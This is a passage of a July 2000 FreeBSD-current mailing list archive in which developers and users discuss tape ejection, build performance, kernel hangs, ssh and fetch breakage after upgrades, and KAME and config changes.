changes in particular are you asking about? the attach/detach ``ng_ether'' nodes thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 13:23:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id 789A737B753; Tue, 11 Jul 2000 13:23:13 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id OAA38222; Tue, 11 Jul 2000 14:23:10 -0600 (MDT) (envelope-from ken) Date: Tue, 11 Jul 2000 14:23:10 -0600 From: "Kenneth D. Merry" To: Robert Small Cc: freebsd-current@FreeBSD.ORG, "freebsd-questions@FreeBSD. ORG" Subject: Re: SCSI DAT tape question Message-ID: <20000711142310.A38206@panzer.kdm.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from rsmall@pwahec.org on Tue, Jul 11, 2000 at 02:50:08PM -0500 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jul 11, 2000 at 14:50:08 -0500, Robert Small wrote: > I'm running an adaptec controller (1542CF) with a Sony SDT-5000. I'm > running: > > reeBSD (5.0-20000511-CURRENT FreeBSD 5.0-20000511-CURRENT #4: Thu Jul 6 > 20:31:41 CDT 2000) > > When I issue the command "camcontrol eject sa0" I receive: > > Error received from stop unit command > > When I issue the command "camcontrol stop sa0" I receive" > > Error received from stop unit command > > I can boot the system into Windows or System Commander and eject the > tape using the eject button. > > Any ideas? Well, why not use 'mt rewoffl'? That's the normal way to eject a tape. If you want to know why camcontrol can't eject the tape, use the -v switch to enable verbose error messages. i.e.: camcontrol eject sa0 -v Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 13:26:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id A8DD737B7F0 for ; Tue, 11 Jul 2000 13:26:08 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.2) id NAA38884; Tue, 11 Jul 2000 13:26:04 -0700 (PDT) From: Archie Cobbs Message-Id: <200007112026.NAA38884@bubba.whistle.com> Subject: Re: NETGRAPH changes In-Reply-To: from "Yevmenkin, Maksim N, CSCIO" at "Jul 11, 2000 04:22:58 pm" To: myevmenkin@att.com (Yevmenkin Maksim N CSCIO) Date: Tue, 11 Jul 2000 13:26:04 -0700 (PDT) Cc: freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yevmenkin, Maksim N, CSCIO writes: > > Which changes in particular are you asking about? > > the attach/detach ``ng_ether'' nodes I was planning on MFC'ing that soon. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 13:30:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from volatile.chemicals.tacorp.com (ci391991-a.grnvle1.sc.home.com [24.9.31.75]) by hub.freebsd.org (Postfix) with ESMTP id DFB2D37B9E7 for ; Tue, 11 Jul 2000 13:30:43 -0700 (PDT) (envelope-from morganw@chemicals.tacorp.com) Received: (from morganw@localhost) by volatile.chemicals.tacorp.com (8.9.3/8.9.3) id QAA06418; Tue, 11 Jul 2000 16:30:38 -0400 (EDT) (envelope-from morganw) Date: Tue, 11 Jul 2000 16:30:37 -0400 (EDT) From: Wesley Morgan To: "Thomas D. Dean" Cc: freebsd-current@freebsd.org Subject: Re: Recent -current Performance Drop? In-Reply-To: <200007111801.LAA00623@ix.netcom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Actually in the past week or two I have seen a make buildworld drop from 205-210 minutes to 180-190 minutes. But I would be more inclined to attribute that to changes in the source tree itself, not performance. On Tue, 11 Jul 2000, Thomas D. Dean wrote: > I don't know if this belongs in -current or -smp, so here goes. > > I am running -current SMP, cvsup, etc. late last night PDT. > > # uname -a > FreeBSD celebris 5.0-CURRENT FreeBSD 5.0-CURRENT #0: \ > Tue Jul 11 09:53:15 PDT 2000 \ > tomdean@celebris:/usr/src/sys/compile/CELEBRIS-SMP i386 > > I have been using 'make world' as a stability/performance indicator. > > The stability has been good. I have had no recent panics, etc., > during 'make world'. I choose the times to update carefully. > > Good work core team. > > I seem to see somewhat of a performance drop in the past week. > > I save the output of 'make world' I know this is not a benchmark nor a > very accurate indicator. However, I believe 'make world' is a pretty > good torque tool for a lightly loaded, interactive, 'play' system. > And, disk I/O, compiling and executing user code is what interactive > users do. > > If 'make world' puts out approximately the same number of lines, I > think it is doing about the same amount of work. > > I see an increase in 'make world' time over the past week, or so. The > number of lines of output has gone up slightly. The time elapsed has > gone up more. > > # world_time.sh > Make World Statistics > -current SMP, 2xP133, 96MB RAM, IBM Superstor 9G disk. > Lines is the number of lines of output produced by 'make world'. > Date Lines Make Time Lines/Minute > -------- ----- --------- ------------ > 19991018 35281 6h40m16s 88.20 > 20000401 39490 7h56m18s 82.96 > 20000402 39427 7h28m41s 88.01 > 20000412 39404 7h10m21s 91.64 > 20000621 38679 7h20m20s 87.91 > 20000630 39530 7h56m20s 83.05 > 20000709 39679 8h40m28s 76.31 > 20000710 39568 9h13m46s 71.55 > 20000711 41178 9h22m05s 73.27 > > tomdean > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- _ __ ___ ____ ___ ___ ___ Wesley N Morgan _ __ ___ | _ ) __| \ wesleymorgan@home.com _ __ | _ \._ \ |) | FreeBSD: The Power To Serve _ |___/___/___/ Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 13:50:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.ocsny.com (apollo.ocsny.com [204.107.76.2]) by hub.freebsd.org (Postfix) with ESMTP id 2F39C37BA68; Tue, 11 Jul 2000 13:50:26 -0700 (PDT) (envelope-from mikel@ocsny.com) Received: from ocsny.com (thoth.upan.org [204.107.76.16]) by apollo.ocsny.com (8.9.2/8.9.3) with ESMTP id QAA52364; Tue, 11 Jul 2000 16:51:01 -0400 (EDT) Message-ID: <396B8A21.EA42CEAB@ocsny.com> Date: Tue, 11 Jul 2000 16:57:05 -0400 From: Mikel Organization: Optimized Computer Solutions, Inc. X-Mailer: Mozilla 4.73 [en] (Win98; U) X-Accept-Language: en,it MIME-Version: 1.0 To: Robert Small Cc: freebsd-current@FreeBSD.ORG, "freebsd-questions@FreeBSD. ORG" Subject: Re: SCSI DAT tape question References: Content-Type: multipart/mixed; boundary="------------A919A3F16751D23DD5E5547B" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------A919A3F16751D23DD5E5547B Content-Type: multipart/alternative; boundary="------------97720081E0ED486D6CBFAC1E" --------------97720081E0ED486D6CBFAC1E Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I like to use: tar cvpf /dev/ersa0 . >> /var/log/bu.log so that it ejects the tape automatically after the archive is complete. -- Cheers, Mikel +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ | Optimized Computer Solutions, Inc http://www.ocsny.com | 39 W14th Street, Suite 203 212 727 2238 x132 | New York, NY 10011 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ Robert Small wrote: > I'm running an adaptec controller (1542CF) with a Sony SDT-5000. I'm > running: > > reeBSD (5.0-20000511-CURRENT FreeBSD 5.0-20000511-CURRENT #4: Thu Jul 6 > 20:31:41 CDT 2000) > > When I issue the command "camcontrol eject sa0" I receive: > > Error received from stop unit command > > When I issue the command "camcontrol stop sa0" I receive" > > Error received from stop unit command > > I can boot the system into Windows or System Commander and eject the > tape using the eject button. > > Any ideas? > > Robert > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message --------------97720081E0ED486D6CBFAC1E Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit I like to use:     
 tar cvpf /dev/ersa0 .  >> /var/log/bu.log     so that it ejects the tape automatically after the archive is complete.
 

--
Cheers,
Mikel
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Optimized Computer Solutions, Inc        http://www.ocsny.com
| 39 W14th Street, Suite 203                   212 727 2238  x132
| New York, NY 10011
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
 

Robert Small wrote:

I'm running an adaptec controller (1542CF) with a Sony SDT-5000.  I'm
running:

reeBSD (5.0-20000511-CURRENT FreeBSD 5.0-20000511-CURRENT #4: Thu Jul 6
20:31:41 CDT 2000)

When I issue the command "camcontrol eject sa0" I receive:

Error received from stop unit command

When I issue the command "camcontrol stop sa0" I receive"

Error received from stop unit command

I can boot the system into Windows or System Commander and eject the
tape using the eject button.

Any ideas?

Robert

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


  --------------97720081E0ED486D6CBFAC1E-- --------------A919A3F16751D23DD5E5547B Content-Type: text/x-vcard; charset=us-ascii; name="mikel.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Mikel Content-Disposition: attachment; filename="mikel.vcf" begin:vcard n:King;Mikel tel;fax:2124638402 tel;home:http://www.upan.org tel;work:2127272100 x-mozilla-html:TRUE org:Optimized Computer Solutions version:2.1 email;internet:mikel@ocsny.com title:Director of Network Operations & Technology adr;quoted-printable:;;39 W14th St.=0D=0ASte 203;New York;NY;10011;US note;quoted-printable:fBSD, PHP, MySql and OCS Rule!!!=0D=0A=0D=0AGoal is to be MS free by the end of 2k. x-mozilla-cpt:;7312 fn:Mikel King end:vcard --------------A919A3F16751D23DD5E5547B-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 13:59:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by hub.freebsd.org (Postfix) with ESMTP id 0958A37B61A for ; Tue, 11 Jul 2000 13:59:13 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: from ix.netcom.com (sil-wa15-13.ix.netcom.com [207.93.148.13]) by smtp10.atl.mindspring.net (8.9.3/8.8.5) with ESMTP id QAA15584 for ; Tue, 11 Jul 2000 16:59:06 -0400 (EDT) Received: (from tomdean@localhost) by ix.netcom.com (8.9.3/8.9.3) id NAA00871; Tue, 11 Jul 2000 13:59:03 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Date: Tue, 11 Jul 2000 13:59:03 -0700 (PDT) Message-Id: <200007112059.NAA00871@ix.netcom.com> X-Authentication-Warning: celebris.tddhome: tomdean set sender to tomdean@ix.netcom.com using -f From: "Thomas D. Dean" To: freebsd-current@FreeBSD.ORG Subject: Didn't mean to slight anyone - good work all who worked on it. References: <2461.963339806@critter.freebsd.dk> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The subject says it all. tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 14:19: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.rdc1.az.home.com (ha1.rdc1.az.home.com [24.1.240.66]) by hub.freebsd.org (Postfix) with ESMTP id 571A737B7EE for ; Tue, 11 Jul 2000 14:19:03 -0700 (PDT) (envelope-from matt@daffy.mics.net) Received: from daffy.mics.net ([24.15.53.199]) by mail.rdc1.az.home.com (InterMail vM.4.01.02.00 201-229-116) with ESMTP id <20000711211902.SYEA12685.mail.rdc1.az.home.com@daffy.mics.net>; Tue, 11 Jul 2000 14:19:02 -0700 Received: by daffy.mics.net (Postfix, from userid 1001) id 45521206A1; Tue, 11 Jul 2000 14:19:02 -0700 (MST) Date: Tue, 11 Jul 2000 14:19:02 -0700 From: Matt Miller To: Sheldon Hearn Cc: Eric Anholt , current@FreeBSD.ORG Subject: Re: syscons hangs with -current Message-ID: <20000711141902.A4229@daffy.mics.net> References: <787.963334852@axl.ops.uunet.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <787.963334852@axl.ops.uunet.co.za>; from sheldonh@uunet.co.za on Tue, Jul 11, 2000 at 07:00:52PM +0200 X-My-Mood: Refreshed. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jul 11, 2000 at 07:00:52PM +0200, Sheldon Hearn wrote: > > > On Mon, 10 Jul 2000 11:14:16 MST, Eric Anholt wrote: > > > I am getting freezes on -current as of my last two updates, Jul. 9 > > and today, Jul. 10. My previous update was around Jun 14. I can > > boot the kernel from the last update just fine, though ppp doesn't > > work due to net changes. > > Just as a datapoint, I'm getting reboots and hard locks shortly after > reboot (no more than 20 minutes) using a kernel built from sources from > around 22H30 last night. > I had the same problem beginning yesterday. My sources were updated at 1500 UTC Jul 10. System would run for between 15 and 25 minutes before a panic (something about supervisor mode, sorry I didn't do any tracking, I assumed I'd missed the SMP commits HEADS UP).. Retrieved sources as of 1700UTC Jul 11 built cleanly and have been running fine. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 14:20:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 6644337BA04; Tue, 11 Jul 2000 14:20:27 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id OAA89629; Tue, 11 Jul 2000 14:20:27 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Tue, 11 Jul 2000 14:20:27 -0700 (PDT) From: Kris Kennaway To: Ben Smithurst Cc: sheldonh@FreeBSD.org, current@freebsd.org Subject: Re: KAME integration and plans In-Reply-To: <20000711145635.A18912@magnesium.scientia.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 11 Jul 2000, Ben Smithurst wrote: > I'd like to commit this: > > --- stf.4 2000/07/04 16:39:23 1.4 > +++ stf.4 2000/07/11 13:44:47 > @@ -36,7 +36,7 @@ > .Nd > .Tn 6to4 tunnel interface > .Sh SYNOPSIS > -.Cd "pseudo-device stf" > +.Cd "pseudo-device gif" > .Sh DESCRIPTION > The > .Nm > > 'pseudo-device stf' gives an error, stf lives in the gif driver, so this > is required really. Is that ok? Is there anyone at KAME I should send > this to as well? Um, "device stf" certainly does work. Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 15:20:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from pcat.heimat.gr.jp (pcat.heimat.gr.jp [211.0.53.98]) by hub.freebsd.org (Postfix) with ESMTP id BF13037B6CB for ; Tue, 11 Jul 2000 15:20:20 -0700 (PDT) (envelope-from nakaji@tutrp.tut.ac.jp) Received: from xa12.heimat.gr.jp (xa12.heimat.gr.jp [211.0.53.97]) by pcat.heimat.gr.jp (8.9.3/3.7W) with ESMTP id HAA75655 for ; Wed, 12 Jul 2000 07:20:14 +0900 (JST) To: current@FreeBSD.ORG Subject: Re: fetch is strange MIME-Version: 1.0 (generated by REMI 1.14.1 - =?ISO-8859-4?Q?=22Mushigawa=F2?= =?ISO-8859-4?Q?sugi=22?=) Content-Type: text/plain; charset=US-ASCII From: NAKAJI Hiroyuki Date: 12 Jul 2000 07:20:13 +0900 Message-ID: <86n1jojoma.fsf@xa12.heimat.gr.jp> Lines: 11 User-Agent: T-gnus/6.14.5 (based on Gnus v5.8.7) REMI/1.14.1 (=?ISO-8859-4?Q?Mushigawa=F2sugi?=) Chao/1.14.1 (=?ISO-8859-4?Q?Rokujiz?= =?ISO-8859-4?Q?=F2?=) APEL/10.2 MULE XEmacs/21.2 (beta34) (Molpe) (i386--freebsd) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> Dag-Erling Smorgrav wrote: > It seems that fetch(1) can not fetch any file. In this case, the > downloaded(?) file size is zero. DES> Make sure you have revision 1.2 (or newer) of src/usr.bin/fetch/fetch.c: I cvsupped 20 minutes ago and remade libfetch and fetch. It works good. Thanks! -- NAKAJI Hiroyuki To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 15:27: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from samxie.cl.msu.edu (samxie.cl.msu.edu [35.8.1.33]) by hub.freebsd.org (Postfix) with ESMTP id 03C5137B5E1 for ; Tue, 11 Jul 2000 15:27:02 -0700 (PDT) (envelope-from sam@samxie.cl.msu.edu) Received: (from sam@localhost) by samxie.cl.msu.edu (8.9.3/8.9.3) id SAA19851 for freebsd-current@freebsd.org; Tue, 11 Jul 2000 18:27:56 -0400 (EDT) (envelope-from sam) Date: Tue, 11 Jul 2000 18:27:56 -0400 From: Sam Xie To: freebsd-current@freebsd.org Subject: ssh not working after upgrading OS? Message-ID: <20000711182755.A19813@samxie.cl.msu.edu> Mail-Followup-To: Sam Xie , freebsd-current@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Operating-System: FreeBSD 5.0-CURRENT i386 WWW-Home-Page: http://samxie.cl.msu.edu Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! All, I upgraded my OS to FreeBSD 5.0-CURRENT #20, everything seems fine except ssh. Every time if I try to ssh to another host, the system gives me an error message says, "ssh: no RSA support in libssl and libcrypto. See ssl(8). Disabling protocol version 1 DH_generate_key" What is wrong and how to fix it? Any help will be gratefull! Thanks! Sam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 17:11:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id C26A737B986 for ; Tue, 11 Jul 2000 17:11:16 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id RAA16075 for ; Tue, 11 Jul 2000 17:11:16 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Tue, 11 Jul 2000 17:11:16 -0700 (PDT) From: Kris Kennaway To: current@freebsd.org Subject: malloc() bug in ld Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Since setting my malloc.conf flags to AJ I'm getting spontaneous sig10's in ld(1) - in fact I can't link anything with those flags set. Can anyone else confirm? Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 17:27:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 612FC37B986 for ; Tue, 11 Jul 2000 17:27:42 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id RAA17835 for ; Tue, 11 Jul 2000 17:27:42 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Tue, 11 Jul 2000 17:27:42 -0700 (PDT) From: Kris Kennaway To: current@freebsd.org Subject: Re: malloc() bug in ld In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 11 Jul 2000, Kris Kennaway wrote: > Since setting my malloc.conf flags to AJ I'm getting spontaneous sig10's > in ld(1) - in fact I can't link anything with those flags set. Can anyone > else confirm? Hmm, well it went away after a binutils recompile. So maybe I just still had the old version or something. *shrug* Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 17:34:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id DD02B37B9A8 for ; Tue, 11 Jul 2000 17:34:12 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id RAA18323 for ; Tue, 11 Jul 2000 17:34:12 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Tue, 11 Jul 2000 17:34:12 -0700 (PDT) From: Kris Kennaway To: current@freebsd.org Subject: Re: malloc() bug in ld In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 11 Jul 2000, Kris Kennaway wrote: > Hmm, well it went away after a binutils recompile. So maybe I just still > had the old version or something. *shrug* Yes, I did: > ld -V GNU ld version 2.10-anoncvs-20000512 (with BFD 2.10-anoncvs-20000512) Supported emulations: elf_i386 > ld -V GNU ld version 2.10.0 (with BFD 2.10.0) Supported emulations: elf_i386 Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 17:48:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 7E1B837BC54; Tue, 11 Jul 2000 17:48:26 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from strontium.scientia.demon.co.uk ([192.168.91.36] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.15 #1) id 13CABl-000Oiv-00; Wed, 12 Jul 2000 01:15:45 +0100 Received: (from ben) by strontium.scientia.demon.co.uk (Exim 3.15 #1) id 13CABk-000OMu-00; Wed, 12 Jul 2000 01:15:44 +0100 Date: Wed, 12 Jul 2000 01:15:44 +0100 From: Ben Smithurst To: Kris Kennaway Cc: sheldonh@FreeBSD.org, current@freebsd.org Subject: Re: KAME integration and plans Message-ID: <20000712011544.B11000@strontium.scientia.demon.co.uk> References: <20000711145635.A18912@magnesium.scientia.demon.co.uk> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="WsiejqUMGToi5pfa" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --WsiejqUMGToi5pfa Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Kris Kennaway wrote: > On Tue, 11 Jul 2000, Ben Smithurst wrote: >=20 >> 'pseudo-device stf' gives an error, stf lives in the gif driver, so this >> is required really. Is that ok? Is there anyone at KAME I should send >> this to as well? >=20 > Um, "device stf" certainly does work. Ah. I'm using -STABLE here... AFAICT you still need 'pseudo-device gif' there. --=20 Ben Smithurst / ben@FreeBSD.org / PGP: 0x99392F7D --WsiejqUMGToi5pfa Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: 8q8se/3QTCU+AsGsgP3ZLSWUJIgZ3iBw iQCVAwUBOWu4rysPVtiZOS99AQFd8gP/SOwlBJQW9NT9q8WueARrWImKZo69vRdn Uo+fdAgLONCN4EM5CkUpw60stgRXzDmcw8XJCscFI5/4W+1DhLGvwmrpYh0pymyp wozo0qAeq39dDt1oQTCYrW6GCmDlmjxY+3CcHXDJBUwzLoYORWZkWcjSmj0o2HPR kDrGIb0YSo4= =jQUu -----END PGP SIGNATURE----- --WsiejqUMGToi5pfa-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 17:59: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from cypherpunks.ai (cypherpunks.ai [209.88.68.47]) by hub.freebsd.org (Postfix) with ESMTP id D8BB437B996 for ; Tue, 11 Jul 2000 17:59:03 -0700 (PDT) (envelope-from jeroen@vangelderen.org) Received: from vangelderen.org (grolsch.ai [209.88.68.214]) by cypherpunks.ai (Postfix) with ESMTP id 20DBA51; Tue, 11 Jul 2000 20:59:02 -0400 (AST) Message-ID: <396BC2D5.FACADF08@vangelderen.org> Date: Tue, 11 Jul 2000 20:59:01 -0400 From: "Jeroen C. van Gelderen" X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Sam Xie Cc: freebsd-current@FreeBSD.ORG Subject: Re: ssh not working after upgrading OS? References: <20000711182755.A19813@samxie.cl.msu.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sam Xie wrote: > > Hi! All, > I upgraded my OS to FreeBSD 5.0-CURRENT #20, everything seems fine except > ssh. Every time if I try to ssh to another host, the system gives me an error > message says, > "ssh: no RSA support in libssl and libcrypto. See ssl(8). > Disabling protocol version 1 > DH_generate_key" > What is wrong and how to fix it? > Any help will be gratefull! You are probably using a -CURRENT with a broken randomness device. For more information you can try and search the mailing list archives. Try updating to a more recent -CURRENT, that should help. Cheers, Jeroen -- Jeroen C. van Gelderen o _ _ _ jeroen@vangelderen.org _o /\_ _ \\o (_)\__/o (_) _< \_ _>(_) (_)/<_ \_| \ _|/' \/ (_)>(_) (_) (_) (_) (_)' _\o_ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 18:27:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by hub.freebsd.org (Postfix) with ESMTP id A28F137BA3D for ; Tue, 11 Jul 2000 18:27:49 -0700 (PDT) (envelope-from patrick@whetstonelogic.com) Received: from whetstonelogic.com ([209.138.184.41]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id VAA30742 for ; Tue, 11 Jul 2000 21:27:48 -0400 (EDT) Message-ID: <396BC9CC.4354651D@whetstonelogic.com> Date: Tue, 11 Jul 2000 21:28:44 -0400 From: Patrick Gardella Organization: Whetstone Logic, Inc. X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-current@freebsd.org Subject: Burned by config changes? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've somehow been burned by the config changes when I build world yesterday. The build went fine, and then I followed the instructions on: http://people.freebsd.org/~imp/config-upd.html But when I rebooted, it freezes right when I type "boot". Typing "boot -v" does not reveal anything more. I've gone in with an old kernel which lets me boot, and tried building a new GENERIC one, with no luck. It freezes at the same place. I have in place my /boot/device.hints, and it looks right. Any pointers to get the system back up and running? (I do have a backup, but I'd rather learn how to fix this!) Patrick Gardella To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 18:51:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 5CF1837BA52 for ; Tue, 11 Jul 2000 18:51:09 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id SAA15088; Tue, 11 Jul 2000 